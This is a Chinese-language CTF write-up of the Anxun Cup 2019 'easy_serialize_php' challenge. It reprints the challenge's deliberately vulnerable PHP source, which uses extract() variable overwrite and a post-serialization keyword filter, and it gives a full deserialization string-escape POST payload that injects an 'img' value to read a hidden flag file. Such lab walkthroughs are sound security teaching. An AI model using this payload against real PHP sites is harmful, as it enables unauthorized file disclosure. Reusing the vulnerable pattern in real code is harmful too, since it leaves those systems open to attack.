[安洵杯 2019] easy_serialize_php

发布于 2021-08-06  67 次阅读


知识点

extract():将变量从数组中导入当前的符号表,这里就是把post数组里的取出来变成php变量,就比如我们post传a=123,那它经过这个函数就变成了$a=123。而且它默认在变量名冲突的时候进行覆盖,这就导致了变量覆盖漏洞。

反序列化逃逸吞噬字符串解法。

解题

<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION); //销毁session
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function; //为session赋值

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

这到反序列化,是对$_SESSION这个数组进行序列化,这个数组中的user和function都是可控的但是img不可控,file_get_contents读取的是img的内容。因此思路是,找到要读取的文件,然后通过反序列化漏洞操控img的值,读取flag。

也就是说base64_decode($userinfo[‘img’])=d0g3_f1ag.php

image-20201228143900556

根据提示查看phpinfo。

image-20201228144342535

仔细浏览,发现一个可以文件,flag应该就在这个文件里面

下一步就系确定如何控制img的值

image-20201228144505635

这里存在一个filter()过滤函数,想到反序列逃逸

这里如果存在fileter_arr的值 就会被替换为空,然后在反序列化的过程中,接着向后读取被替换为空的数量的字符,如果满足,正常反序列化。

因此构造payload:

正常的序列化字符串

a:3:{s:4:"user";s:5:"guest";s:8:"function";i:123;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

把img换成我们需要的值:

a:3:{s:4:"user";s:5:"guest";s:8:"function";i:123;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

得出这样传参得到的序列化字符串

a:3:{s:4:"user";s:5:"guest";s:8:"function";i:123;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";};s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

利用user吞掉function的值,简介控制img的可得

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

补全三个参数,必须要凑够3个参数,因为一开始序列化的时候指定了有3个参数

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}

因为存在extract函数存在变量覆盖漏洞。

传参?f=show_image

post=_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”aa”;s:1:”a”;}

image-20201228154622644

将flag所在文件名base64编码重新传参即可。